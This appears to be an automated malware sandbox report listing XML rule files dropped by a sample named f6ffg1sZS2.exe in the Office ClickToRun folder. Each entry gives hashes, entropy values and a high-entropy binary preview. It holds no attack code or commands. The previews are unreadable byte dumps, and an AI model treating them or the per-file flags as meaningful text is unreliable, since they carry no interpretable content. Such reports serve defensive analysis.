Preview:	.<?.h..=.2...8g.......-D&.2D......A._.....-....XB.B...7..PL.1wk......Y..=.R.Q..{C.._.....}...y......S.}...$...3../.w.....J..e...gk.P.1.~_r....%.Q.......\|.%..6....!...o..il......w.....-..Za.S8.....x6../..}..bs..[....Bi..(...C..=."d ..B.Bz.1^.$..#[.!:}...;....i...!./.u.'?B..X..\|...<.>.f.M(86..Tg.~.F..&..X.Bh7.......I.......Y.....ME.o...L.9..U...{.W3../Q.?.....d...7...`..LvC..P.:.ei..m..t.q.......[7z....a....&...5..%.b.7(F~.}.dc...x._.(....t.....O\|..C.8...l....g..GTw..n-.M..v.p.8......_..<.3.l...)~......MZ..@..gT,..c.),.L'.W%.3.\|h.>...hTQJ.....I.3W/.Q-..f...>.$..G(.>..... x.c..<....sVW.h....._3..$w..,n._...k9:l.1K6..\|.}.#.&....?.0..=.%.O.gy.U..L?... .......;.S....[._....1...;n....h....hog...~.........B$7......m.....bn...{..h.f..Y.....vF.,...3v...LbiM&...........I...G.i.``...F..gr.p..p....G0x....4...U22P........s....a.{....a../..z.....6X..(.B+X.a%];i^.RmZ......a....0-.../m..zE...Cq.....jl..z.KO.)...6.....Y>...].J....-r.R*D.L P...-...~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.895695857064663
Encrypted:	false
SSDEEP:	24:RocX1ZCZH0Do0wDUwImLymFSCMnhVwgbU0BO9yAhprxbwYrTiPDyXUKAbD:RVXr5o0wMmLMo0BVAhhtlrADDD
MD5:	27F031DC6DDEA0231A956B9292737D43
SHA1:	93ECBB58267462DB442FB90470EAAD963A6709BB
SHA-256:	E5FCE80735816544044C96159E792D3EDE74FA235C14269A98F0D5D9B98CF949
SHA-512:	901A6D5E4F50E65D37C00BA0CE7013BD260DCAC326C15D486A231ED56AED258E9D1BF8B6670CA7CADC026C974DC6EBBB13E404004012DA9915A58D4557B959FE
Malicious:	false
Preview:	.<?,..Q..h..;......e.^rR.N.Y..`...G?.-..9.{`CS..8<./.K......,.]....&..U..oC.I{....Hc@..%..S..H...E.Dl.q.C.^Hkt.H..i..&.n..J.Y..HX...9./....G..I..,.Y.......aQ.L...1..7.y..B1..W.....m........bA[..\Z...+...j^..XA+....F[W.BW:....0T....b..!5..:.B..M..b.W.&...M8.1.P.3.l.Q.L_;.~da%..@...ak.f..Wm.ss.x.3"..3.....,....kJ./..f......J.t.....d/9}....#I.&....7.)......./.....Z..$l-.j..b;.)%rR..%..^.......$gx...~).J..o.\......O9...a.).a..3.yf.>$qQ.P9....l..8........x...$..[..xJ....p...,..Y.17......ng".U..^c...\|.6.).."..G.i....2z%_P...NE..o...N.O.#.@+E4w.>V.x.3%.&&..K..08c...g.W..Yk..Y.Z..Z.+'.}7.....(..I.p...0+..i.Hi..u.`..>..\"K]$.P-..:...X.N..H.......OZT.[]..@..;......\|g.d...+.._\|.y...H(b.r..Y....Q.&#..?2)\|..o........r..$...#.<6n.........m].../.H?.....T\|.:.S....h...-1Z......@.\|.,kX..P.}U:(8....-.k+....M..Q.....Q.#.,>......t.W.W...M..XUU.{$.x1G9&R{......4..#...Xu...j@....9e..l1(...Bm_.u1.<.0.......H.....]...E.._..*...s.T...=.b.W....+.z.b.CmJ\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.882218565163691
Encrypted:	false
SSDEEP:	24:qbWYtrSJdVjZxwa4R6WzYCX7+H4phVr5c4r2nSNvjbxvAwEB6HF74OrBNd+QqbD:awVlxk6WzYCLBPm8MSNvBvA1B89fB2fD
MD5:	58254D0CC679F5575537A0DC1F2A95EA
SHA1:	01524EF72BD4DC7AFEAA57451D954CF14D04C507
SHA-256:	D870A9D03A3BB0CCEAF482C4F180C6FB8299981723A30667D8022C69B493EF1A
SHA-512:	8F9F09B69A1AC7DB5D162D3584B09C3DC9C2F7B20489469B00DF8699EBB18BBDF7BA004D14700AF65C89F34E760B3D4FBE287C136894D5510F06E53682FFE20D
Malicious:	false
Preview:	.<?f.....xR..j&S.>z...Dg.v\#6.....S.9.O.~....k..0`3...0.......m".......]..v...z.u....#.Y...e...@.ke,.@-.dw7.Hf.....y~....+....N...W.?qH..UP...%.?5...e..U...M.5]..C.q.HV.$.,...^....6.U..~..N./.E.:Jj.T...r.?..^K.N....?....[,#.=...xG..O.....=..?H.(...g..\...q.}3_...G.0.X.Fk1[.....R......m.K.........P.2M..Djhb.pl.JXV.+....n}Y..Y..;..G....g...%....5.K.<..9QK..zw..\|.Z ..UOD...d?..Q....j./.@5.t.....2.$d..^..%..t ...d..y...<.OYS.z..<..f..\|..k..#..I.%..M.1;.....S.}aX.Z.......=c+....O@.t}......N.+d..F.....~.l+w...n.....s.r...!..../...u2.~.>.P-D8U.5..d_.:.FW.<..BD.W..z.>...r&..{.%.?..D..,..5..Q.J...B^p.bV....8....<..".....eA._........b'..V......-.Z..o...s..\..n.F...swk(.^.......i.Ix..FIW@...n....a.$/.aPPy\|...:bqy.D...Q_fN.......h....B.>..".....wZ9E.!..\|.sX.e%A..6-.;i.Nz.I-.hy......>.!5......m...............B?0...........t5....?E.Q......"K.K.B'H...\..dpF...H..(....C0..^Z.....(+\.LX...8..`...q.Z..{.....p9(.O.J3.......)..}...n...^.D..X...M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	7.888879375922023
Encrypted:	false
SSDEEP:	24:b3hBwa+3//sLJMEmpx/xtKUhRbTOR3KUAdS+GYye/QLCUnqscb/BvY3QdJNMYA9G:b3hn0/0Kn5unAKYPQLCeq1bh5ZMtX+D
MD5:	5901C817760018E1582EB14042D0A915
SHA1:	3361AC956FAA7FF5C7004E2EDB968857630A93C5
SHA-256:	D810198E6F5F4D2D478D0B3B085737804EAA0961F4A8AF1A3F2761072F515603
SHA-512:	AEDB5B0196E193EAD40D3B707C3B8C75278012A9BF182B2AB4FBA5810B5F9F3AA196F8BB86F86DB9CCFC06E17992E49B12D8DD6B881A1D87C0D45C18BF3F9F2E
Malicious:	false
Preview:	.<?..}..[.......zmM...?~r..i......l...@?............4<f..(.]o.K...S..SR...-!s.E .q..v...`..oz...2.oe...V....6.l..iF#...v...j.q..N\g.@6....bW..u...H.^w...s..M.Z...s".%..%%.f.0...p\a.B..k5..4.XGF..Xj...E..Mg`.B!K.Q....u...n.[p.z...^.)3...7&.........q..........x......9.pU6.tH.'m.J..7...X.b..y...O.....m......_..8....s&..h..._x..,`....Hm...{.\|U...`....O"......e.z).>.M.'..p.....E....a)..s9@. ..:.J....cG.g...i...s......^.Z.,.7..0.b...i.a:.2.....d]...V.F....0....,C...9W$g.b....S...F..%........Y..[.i..H._..~.+..Z..V..X..'....L+...B.!.".x......60.+^&%.BQ...<\......f.....o..[..].A...%J.3...5...9[..v3F...'\.z}....".O....U.M..`.hWh.LJT.B0}.H......P..2.."-.T2o=.......p......!..........#N...T.=...Q-5.q..-j....9.D"A"DQ.i..\......oP.....at.`.=b.D...2e5...\G....&:i...fFi.G...L....g..X...)..........<Ac.e..y2...!j.....HQ..../..(.V...}..A..bo..+..z%..l.+..u.=...Mdk,.p..N......~...~......F.M..y.~o.2Q\|..{O..^....V[..~..X...$[.. ......B.Zo.*8S.).M..7%R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.860243461156714
Encrypted:	false
SSDEEP:	48:T4je9Q3W2rfo6KGqgD1bn8UI0Hr3FP8VJfBxjVeD:M3XfoxGPZbFJrVeRVm
MD5:	BE192303BFBC3EF73496089FFCDDD6C2
SHA1:	395ADD314BE6FC35D71622ABC3B8A89DD9A524B8
SHA-256:	A53A2A68CAA934F5994EBA3393CC584160758E06627402A96A00BBD3801E900D
SHA-512:	2D38E13DF13D2C1395485878AFF8D3BB2FA3D4CE4594F22B583A0DB801F0EB71C2972642DC3E01C6194E3A929A890CF18BA919CA16F1A07D2F84C9B59D87B146
Malicious:	false
Preview:	.<?=@..(..-....O.k....4W....N{...)m..^.O.a.o...G`[......+......$}.N..R?s4/.g....?...@.........r...B....h..[.;.B..[S\|..w...9C.sb.Mr....z..S#..(...../J.d.......E.tl.%.GO...aC:d...G.....W...@<e..hAS..y.w...b.D..V.U... .(TO..SC.Y.H)&.~...n..i....Vi...6..4.....zB].x....\S.^.\...W!G...F..#N......-.O..[..1...E.E...$.l.6..u..>..ka.m...{.....(.s..4...13..(..N.Y...V.@s..\|0..6...&...O...hf....!&.K/?t...~}.c....R#.+b.q.c..5.Y>.".B...22k..U...%Cf..R...]\..vVs12........i.d..E.,....C.&..#.C..Y].Y.k.EB.!g._.?w.u....?..R.'5..#E.30.n1.k..%.+L9#..t....(...QH>...!im[..U.Le.......I...^&...V..G&.qk ..m..<. 51..,.C.../.S.......Z....4;0.\..+H.b[.d.[_..kC..H/.q.g-.2L0E,l.H...V.no/....>.-....0.#....8R.......@..Yc2.G4.H.#..B.@...B.....?..Y.`1.... ..!G....YY...@...-.*....t.......r...d.....)tC.39..!E\..3IB....Y.b1.=.....,.?=,/M.Z./6a..E.v.>.....YutWg.V....{.....9S+.>..Q.L.....v.~..g9...:......r..P.B.b...hY-Hd8A........Y..Sg%...C2..@...=.,u1:..A.e.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.882357518281666
Encrypted:	false
SSDEEP:	48:t6AWra9aE2cMY45RUHL8AeZlydJe4/vIDP9j24YvnYJD:t6AWrIaE2rPRUY1Zf4/gDP9d4A
MD5:	5E1D2D3363A3B089036DCA5EFD46044D
SHA1:	5F5F12717AC2EA8170622D6B3F8E448A48EE9628
SHA-256:	CBF8A8BC42FB815F16F1C3B3BD9A459445F5459CE6BEE71D853EA333EDB7157D
SHA-512:	4B845F26A8BAA6C844FE97460B9F3520BFC8BE67D2AE5275C83E4D644E011B540AABE74818AB06D0655FBFDEA9B6225041645341795CB7C1869781045CF59D67
Malicious:	false
Preview:	.<?..6..a4..._].Z.'h.6..[Ra>.f.h.u.-6.8J..+..\|..-h....U.Z 1.=..cP..........?.:..<a...g~.kX..a.qs.r.?.X..'<.F....Y..`}.DK..h...Z..........q.,R..z..[y.P....r H...9..>#.../.#...t....$H......9....V...7.4.iy>..V._CO..oj.4.\|..?Q...m.M.<...y.....K.....Mk..#..0..lX....,....Z.$./9.1....F.F..Ba..C.S...H#.N.jDh!Cn7..5Ysl...\|.F..e.J.b}.1....CW].....@t.xm...-b...r.q4.&En..\|..Vm....&.....M........_\|fH.m.-....O..C#.i.&.Ee5...$".o.&.g.4.<.3..rP...B.0#..<...`c...ib.....T...]F3{.SYv...g..Q$L..../\....B%...Eb.....:!..x.H!OX.No.n.-.>S.KH.\[.u...Q.......e.;&S..k~.QQ.m.V]...q....w.....\......!........}.......x.e........U.. ..a>&j{..h.3C.B..........._i.>.swma....g...H...F...26C.>..p\|S .......>O..~4]......._R..P.!...z.../...\8."....Y/.....g.8....o.O6H..W@.zI.E...l...Y<.z.2.J..o1.]..+n.R.(.....Q..........S9.......!.}.;\|@...)..{`.....\|`..%..c........O,.c5.....{&.QKg.3.....Pk..].K......:..S>.-o.#.%e.q...+....T..UQ..o.C....3....m...C...(9$.i..);.3.7.....JG

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.88248421868201
Encrypted:	false
SSDEEP:	48:nYIOJFJgvvw6eZ48A3mG+SnrPfgBay7sVW8YbPubmd12jD:QWvoxFA2GVrfgBa5WJ2i2
MD5:	442407395963E5AD5D3644E12041FBC0
SHA1:	ED2AACD344484947AFBCF0DFC1C8857885CFE50B
SHA-256:	B036704286A6DE789A98111914402C059D0A7E1973845425C1A6A80D91444ED6
SHA-512:	1EC4EF78B4E655D1A93AAABE00E33B5019613E9561B4D9A454FFE711C9C95E3C28B4BD3B587A3B0CB045E0BC1E34900931F83ED10DBE16ACF6E5C676E9CC1820
Malicious:	false
Preview:	.<?.P8.D7.....x$.N...A..]...{.7.;.aq.e....3-n.2CC(....jX_."QK.....<{.@\|..zVn.....I.-).C.V.e.)..8!..............+i.5..C.q..3:.n....S...C...G........`:.z.^...$5S...<.\|.K..J.Fj9..+..>........:...-t......?.P.v...+f....H.,j.z'<...1....v.5\5.l.........t.T\|\|-\|..b....`...i.;......%;.e.~w.Y........F.w.r_....:.T,...=k.-o....f.A<M.`*fx..5...<..QcW..'$..b.(....3,.....Pv.d...bi..P=D.a..P..w...?E..a..,J..6.#...3m.wvA.8..'..Fob`.....v.g.......A..m....o.Ys......d-{.&F.[....J..@./^.7img....F.R.~6=.2..x..7.B.ZR.5.....;it,...L....n.....:D.]....h}......y..T.E..5.,..V.&..j..v..y.....t`f#.......-.R..m`.kI.p..s@.;.....=."#i...S.]....+..../.........a...5..2%..B./iP..gf.u...".i....f}.7..........#...k.-..&6..\|...o.zI....u.=......:.~....T'.~l.i.o....z....S...0.E.@......y9D..Q..m...X.~..+@7.....Q...o.4...8Dw...3..45..<..p...G......}.P&.Rr.../......rv.`.......\|s;.t..m....0P:Mx.._.....}B=iA.;]...-.....m&V...5..p.K..]..3...mJ.. ......x..".7..hs.Qe.?.R.P....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.866015235205064
Encrypted:	false
SSDEEP:	48:iK60XgrhRojfDzY2dzNLjdhieRqaqVglNO834qD:+ogrhGjg2dRjdhtqaqVkYi
MD5:	23AE8A43CFA06FD50D979DC33979F645
SHA1:	C96C3AEF3B106F6F749FDE04ACBEF9667A7D92F2
SHA-256:	06D7A00B3D636ED9B95764B51A18F32022B3285C7BD90894BAD14DE6DC37AEE0
SHA-512:	903FF746E5DED2C4282773BD42DA10002A76D69173BF2CD4A33292BB5B1F1735CAD1F2916BFEE7F414ACBC21D612A2A0962A88A2B23881BECA326D86223DD2DC
Malicious:	false
Preview:	.<?..R.....K..\|.p.e+.[...#..\T...{@..\|n.my.T.K.kI..%./.?..KQ..!.t.Q.Fr)....[....E;.He.7t........w........7.0j^6.n....Iw=..U0a........._D.......P.2.......w........l.4.b./..{.jE....cQ..h>.n<......;o'l..-...Q... .F.. .....}..O.G.S.!.sdr.4k.\...1.....A....,.....E.9...wY.~...m.Z.g......8...2..*)....R.%.......yW.H$8....$...i&..n..9.m....R=..v.?......4E.9"Yk....m....L...?.m7.....^...<.O.V.J.9.. ..I...O..>Q.X6BH.Ys.J...s^.d.F.4.V.......<..?.......m.'u..._r...n-E....m\.J.....N..~....$..8G.hn...........J..h..\|T.....0.7.i.n...h....7..qG!#.Q...-s.J.x.X.@....^)....d%..(.f.....au.?O2K2....E..;K.a._.>.Z...s.......:F.O.=.....P5 ..H...u/..<.......z..H.g.......qub.2t.).....,..l...hn..~...H.dY.."lN.F\.h.Rn.Pp;.s.&.$K.j.cBO.#3.g.c..g.R...C[...T..$..dM.j.V.mHl>P.Np.5..'8..=.AepS\.K..{+.....\i.e.......w4x..l`..i.\|E.P..F%Pw.'+~]U_.l.}..70U...(h.;Q........&.qYW....v....&u..............T....J.......G.R..c.[.......S..#0...i.g.o.{.s.....@.=V...ts.>BHTz8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.868780298496245
Encrypted:	false
SSDEEP:	24:xrZgL5TVcfLWAsmmVelMk8LytZBjTXqtcZaSSM+iJPwd/LqTyFZS/axXj20Pknls:LgLjcBHsiZRTatdSSwCeyFQSxnQWRjXD
MD5:	46E952788022B9C8051AD703B5176DA0
SHA1:	13D052154E702E073E727E1F01DDFEACDBAE6D22
SHA-256:	94A73364721CD2C476FD01AB179301D7DC61CF7F55B2FCF8D1DDDAFBB180125D
SHA-512:	A2CEBA835B5A22D243D7A6C4A298D4CD4226116C1FCBEA32036F96E4E7595E2D768006660C7D46ECE7C4C5CA67F7D2EBCA55643CFBDC8FAF10A3C4CDDCD819FF
Malicious:	false
Preview:	.<?^...-...~6Pp...q......5....RP...)n.]......uT;%.\|......aV.my..p.Q..U....~S...y.,F.n;.t...n..&I.l....`v.q....c0#.,H......o.;...t\|..0:..xJ..8r.K...ZNB..{....E..(..0..H..Ba{U\N...B.........:...)~..`3...O....%u......a]4......'WT....s.L..\....k){.Fn..Ms....0...N.#...k.F..O...W6...".....c......T6.Ml.Qkt...J.{2^...]B..hw~.y.C.9=.{..C...Bx.....J2.Y"4.h..e..1w.....V....[.......&067.....i......jV.9.>PI.3Lr..4."d...!.Z...O...8...F............t..5..v../..mp.E].Z.....;..QL 2...X_....P.E..'..`"u..yu.z..&:...6.;.e9I.@g.\|...Eh8.\|A...h...........6&..=..>...sbU4.A.~.(]a..'.12.M...k..E..bfn.?.<BT<..;..3.....I=?D.~=..0....F..cO...<.>P.1"....E..U-..FuF..8..e..f..O.z..y&....s...X.A....H..x.../.V....j..2.V.}I.k..c...D..z.._AS...(..$........E..D.n......._t.o...P..~.w]0.q..C %.8.K..FXX[.1.........<5...gE..i<I1...R...Q....n..LjG..p..3.{..9d...[w......>f....lUr).ep...l...f...l.S..D.............E...%f.*8...F...\...U.N.....{.?3...k...O.....#.v..l7...../r..!(Y....a}.+>@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.876537325866492
Encrypted:	false
SSDEEP:	48:qed/sq/+Lt8vq0kOAukpFGiT8o4CuAksMoD:Nd0U+Lt8ds3FVue
MD5:	A299168AA5B47AC257BFD31C0B70BF3D
SHA1:	DD6E87D2CCABBCDBBB7A7E621CC4752929312617
SHA-256:	0A43DF86FB029B3943040267EEB68E37E81965B5E4D8076C33FB54DEE65711F3
SHA-512:	52B33906056C4EE4DD3EE31D7DFC596008C89813510D845116EA5BDE8110DBDB559FCB4768EC60176F9C2B9E73F69E2DFF3896D25C48FDF303C76309893EB769
Malicious:	false
Preview:	.<?...H.>...Z..C,..Y....6.t.q.6.nj(..i.[.fdkM.C...............X.v..9f.xwqL.J..?......pF.k9.....7+.2uy.Ph2'.n.Z..=..;3.`l..J....L.....;....M..4.j5...3K.>..o!r,l..O>..u.b....a3.Qw7V.j..2...G).....=....G6.R \|A...)....%...#x%]..V,...-...J.3..~..b....:......M.M..)...P.....t:.w.4t&..v...U^.\|c.<.Z4>z.k.e...c.h..2.!2.R..]X..^.].\|F...c..7. e4.Y.^..?/..d;S.3+.'....D]..#...n..x.l.Q..l.<}..j.jO.......@.n......Z......../`N..^.3&.ok...aOE6#.=..%.....]...w,j.dk ..m.K...P.n.;.{6,,.-...i.d.....3.KU2....=Q...+o]........AhQ...."......2...2B?.1.1.{..E.....a`.f[.%p..J.4..........@.%8..Z<.y.D.qo...2.U.{../Z..a. .*6.Q..$%x...V#...j}........P.3....p..r..fMx....R..e....r....4..M..R....k.....?.cBM.#.},...(H...Q"......6.F6T..O4F.-.j.e.8.61rc.D.......C2y.%....5a.....c.... /.Y...yG.`-.z!.....7..)..E..+..%Fd..G.....q......52.z.,,cR.Go....{W../Z.c/...Ob..-...o.......&...S.p.o..U...#..f..O..;o.,.tw.2...&.6FM_.(...6R >.V....7F.D)1tg....(...p.:yf....H..N..s@.g.....2R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.896690155169258
Encrypted:	false
SSDEEP:	24:IEDh56Wl8n8rqKXVx084MbkUMETz84UOKsLbls1aYc2r4pztqQ//zqxFgHmhkyib:IEDhZrqKwUjMqz8qNLblU2psmaFgNPD
MD5:	CC7FEBC32553893D82BFF9D6D27BCAC6
SHA1:	5E1868F353EB2EBD7B6016136705DFD4294D6DBA
SHA-256:	423B550A62C4444F43676AC995033CDFA2E79B9BEA65E84B6D9BD6DAD33E73D3
SHA-512:	68C95E915457A7B79AF35855EFF7D44A3230DE20AF5866BDA502D4C917327D19DFC6B05F46C3FC2AF276D749EE01F5BB875DCC98889E907EAFF4EC7D91B0FD90
Malicious:	false
Preview:	.<?...N..(J..rY'JO.8}..0a~...]ff.,....Q....YVy.u?q ]m.M.L.}.w..W(..U.@.."$Zo..Ri.\|.s..8.kq...{..C.`U.....'.....\M...S. ...J.[...D`x./.j..j8..B5.".......6..d8.Q<..R..6.>.x..]......N...Vdxj.:..h.p.82...S..........{Eb.....v8...'y.)..5j.f......@...O-..&Rh.6r...........oS.......eg~...<...2...eH4.Y..zb@..a......t......;Y%g...e5..T}...X.EQ...j...:..Mo#...1..<\|. ...W.v..a.N..Q...i....f.Y.\|+k...W...^..H...-.n.....r..~X.L.V...s.K..x......^[O\|.3.....I_LuN4..u...ZnH..!...D.Yv..Q.-tL.3.Yl.#.-...E..4..3.F.......P......#...c.....x...G~w.g.A...-...=j2.w........z..X..W.\j.UA...C..'Q..0....en.{..`h...K.....47....9'...\..]{..X7d}dq.......B.....p..J\|M.O..............sj.b....QC..@D./{_y..8.K..E.....:..."C.\|U.I.:4WC.T..N\|rT..a....j.J.F...W..n..c.sL&/.Rk.y.o}..b......Z.,.].#.5....j........\|...\|...Q.P)..R..A.J..X.-.e....Pq.w.y........( ..c.8.(\...I.)....). ..w...l.....f.\..&.Hz.D.)..\....R..i@....>.O.Y.z..?`\|..E...zi5.%........NB.W.,.s...i....^.V.:.T&.H.q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.891506398401321
Encrypted:	false
SSDEEP:	48:J+4WiPiaodHTRho86ep0J8LWJjAWEiAP3CkcND:Jj95odz3/62AcWdAjich4
MD5:	4C63F510A596824FD31CD43902508D42
SHA1:	F7F7466525BBCA00B58815A20703B8C1C62BA85A
SHA-256:	84A27AE941C8A2A4B7DF67169F655176DC6101CA01B0F6EFEAAAF9023CF97C14
SHA-512:	FEEDC24D0EAA2FA3B2075AA223E322E5BA1FC2EF31F0D3C061E364A0C1F9F571C6AEB3B1D0A332EFDF3302926690366E62881A6FC33630C52B75F43D700105AA
Malicious:	false
Preview:	.<?`'Cz]....5.......O0{.....z.G]-.fV.'...2.g...q..B..H...MTX..Qv:...'....D._U.`_.I....Z...j..Y?....n....om. .\|.2......1.]....A......YS5IH.Yl7..0V..+J..!$'.S.^"e...S.ae<.6....K........N...\|...........;.....,....Eb...e$h.......e.....L...T!...!iO...........-.-....o..u.w........]...@...cqG.M..}...J.Tq$<.....2...}.v..?....5.g...?>\|<....x....(.........h,.GB.8..Q.(.t.!.[.X..Z...G........i..W.7m.......V.9D@.g........?}C..2....P..C>.(..p.;..E...3.E.~.?...Y........o...k...-..[xkP.5.Ib..M;....2.U.....Q....Y..%.9..k....Rt..:..X=...=x....1.......X...~q8......I..c...LT\.n....d.S)_./R........3..i..!.t..v,3..F.-#j.....~...xT.t....."..\|..._.....lN..w...(.2.K.:1....:.4.....k...~>.2...O..L..............--......f.....`t..<...H.t..(.7.}..X.........?.)lx.&9...hYp...r.VT%f.l'.E~...[.B?..=?...w@..t.1+...t..]v.`./F.......P.oc.v.l...]..>.J..3...v..i?..W..N..t.u .6.4..+..y.c..n.h.8...TB.....^.^.c...U..9....}A.~...qRJ..y.7.R>.'.....o. .Z^..aM.vqF......mSvg..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.8805837667144045
Encrypted:	false
SSDEEP:	48:bneOko3rD9aMMYTjF60OMIAbJdscyN3IwD:bns6rvF60OMfbJdfy9Is
MD5:	28114B59A6E69DA7933EFA5704BD091E
SHA1:	AF1233BB27EF257569966A757FC87AF5E48B5FA4
SHA-256:	BB3EF00738B3BF8BBBD4AF8EC56C4155247A0F298DB826BBC328D2FA299BF8D2
SHA-512:	A50A14BE842C77A2C33C90F432A6302EC6E327E963DA2E05E4DC3F7DA6BCEE2F457C8906C630AA5F7D4F2591C8BBEB862533EBD7BC181CC93F5624CA5A5143DF
Malicious:	false
Preview:	.<?.@..!E....h.-..%..A_.gX......2.........ZD..f.>]..B^zC.U.+9@.:e...\i.U.6.e...6...\|[n4lD..N?...\.3...7.?9.....\_`s.OF....9....n..P4..O.#..f....t.%.....o..E..p^r.b}m..g...^/\|.Ii1,.j9&.g..i....B..............7.....s..:q,....J..S..1..J..]..v4...(.d.c......+0.S.h.p......2.e..(I..U/......PC.kD.{....@.#.. v..b......L.B8S..B..Lc....c.pY....e!.w.>..I.ne.....AP.6..&.1.EyT......d.}1...)..b.9M[.2mVs.ff...8.9.Yl.....(Pd../..5,.`9Y.U.D...YI...%.:.Nl.......A...4g...NvX.......N.......h...R.CK...p..L...M.aM.36MP.\|.L.X../.h...a...m...)..:.r.....Wp.+.k...s.).m....!n.\.v...t......C...c.]Rg...euM.O..da..%..).:U".Z.A..Q...O..o.A.tc.....gS...=9.$.N.....4.4.M.....L.M..f....[...=z.P...1..=....a"..$<..[..U..V....yQ1....n.45q-.....4?...8V;.^7 .b.....e.......F...Ca.]i.]...9..J....@.xZ...r.^.}..."...F...2.E[ .n44.,....S[.GMt(h {@......J{3.74...-{..i..TZ.t{..k6a!..G.$s...9...Vi.@..6..5.AAHs!%h.*.I........W..K.../T..?~....T...z..y.r..-..\..s...y....{..x.....WF....h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.899014129599389
Encrypted:	false
SSDEEP:	48:NcuRfNLQXSeWy8JhCTMfpKGtYXPDnI7rLD:NxZIS5Jh5fI/bnInn
MD5:	C520584C8BF3C800524FDBB6CBB89AA7
SHA1:	435B537E9AD0B78F82B3CAE16CA9F33A61D7438D
SHA-256:	D7F092339291177F84ACFD9F6EDD495C187CB89DC74152DC6291202FDBBEB136
SHA-512:	EF5BF6494DF1729B2B8315DC28572671AA4D8BB1535984A91160B6CD4301817D64C99D8430D1EEAD6FB3DD1A3333876860FD1F559C39AC28480E363B90B9EFC0
Malicious:	false
Preview:	.<?...}+.:,W .....m.....\....U:.....cgN.Y....:...-...aQ.?...\..(...@.h.....J...x<....eR....@....j...........]..C&_..Vac...9]..bT.....)..D......jl_.ue)..7.+.I.O\|...n..~<...v...I/~7....9...v...&.. 3....G..U[~.j.R...=N..S.L...F....vU.8..V...Z}.,.o@.Q....M..,..YN....(...Q...o..........D..:.X.I9C]..$=.Ktfu.H.O.._x.E.f.........<L...g.....(......5@..+./S....>.=...h.]....V.m\3~1e.i...........!W.....E..0V....e..'...........vLK...K...h...#....).......F.......C....7....0u..!.W=....../.r..?..U.)~....F..G..9..9y..z.v.bL..^.F.-(.d...!.$._.c..#..~.8.A.i..".....<c...E.z.W.......kD.@X.<\.Ka..`6.$...u.z.G..5.5.eR..FI..Yj......"....._.Wg....r..GsN....&-..t`.h.i........... F..9...I...p...d.Z.....j=.&.&h.......F..D.s....3....=......M".!>:.u.n.......W.a...J<....(j..@b............W.=.d.x.&$.w...G.+.*X..I..K......vb.<..^(io......(.b.~.i.U.^...X....{_a.....k..Y.b.i./....A..(...P..."!v>,.$..8.........}.M.L.H.v...s .$\Z2.c..q<..&....\|..}......H&.mI.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.891639926835508
Encrypted:	false
SSDEEP:	48:N05cYVQJt6wvbO7gffOx1MqtdFGUiuxxP3YvEHD:N4czJswegf2xSqGuHvYva
MD5:	AF717D5020B965C64A613CAF659723B7
SHA1:	3AD1DFAF5CF41410E64BB795CE9C1284F994F574
SHA-256:	478D9C0E49141DDCFFC4AE74A59B112FF5A1BD67C2F09382085B83B148CE92F0
SHA-512:	433216AF461620CFC535176311116CA0FF5801D6DB66B559333A290402B6767C9DFDB6F8BF9C20D71DDD5B4C28C7976FDC12276825CBE4C5F01F371B5053F64C
Malicious:	false
